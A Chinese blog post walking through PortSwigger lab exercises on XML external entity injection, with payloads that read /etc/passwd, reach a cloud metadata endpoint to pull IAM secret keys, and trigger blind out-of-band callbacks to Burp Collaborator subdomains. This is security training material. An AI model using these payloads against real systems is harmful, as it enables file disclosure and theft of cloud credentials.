美文网首页
XXE-burp靶场攻击(外部实体注入)

XXE-burp靶场攻击(外部实体注入)

作者: _Irving | 来源:发表于2024-05-08 09:36 被阅读0次

    首先请求的pyload是xml格式

    1、XXE读取文件

    在 XML 声明和元素之间插入以下外部实体定义stockCheck:
    
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    将数字替换productId为对外部实体的引用:&xxe; 响应应包含“Invalid product ID”,后跟文件内容/etc/passwd。
    
    image.png

    2、利用xxe造成ssrf

    在 XML 声明和元素之间插入以下外部实体定义stockCheck:
    
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
    将数字替换productId为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟来自元数据端点的响应,该响应最初是文件夹名称。
    迭代更新 DTD 中的 URL 以探索 API,直到到达/latest/meta-data/iam/security-credentials/admin。这应该返回包含SecretAccessKey.
    
    image.png

    3、带外交互的XXE盲注

    在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:
    <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>
    实际:burp collaborator生成:if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com
    <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com"> ]>
    将数字替换productId为对外部实体的引用:
    &xxe;
    转到“collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。
    
    image.png
    image.png

    4、通过 XML 参数实体进行带外交互的XXE盲注

    在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:
    
    <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
    ## Collaborator生成子域名:% xxe表示xml参数实体
    <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://lshw8i7ytlv8xvt0mimz4a67gympaiy7.oastify.com"> %xxe; ]>
    转到“Collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。
    
    image.png

    相关文章

      网友评论

          本文标题:XXE-burp靶场攻击(外部实体注入)

          本文链接:https://www.haomeiwen.com/subject/gtpqxjtx.html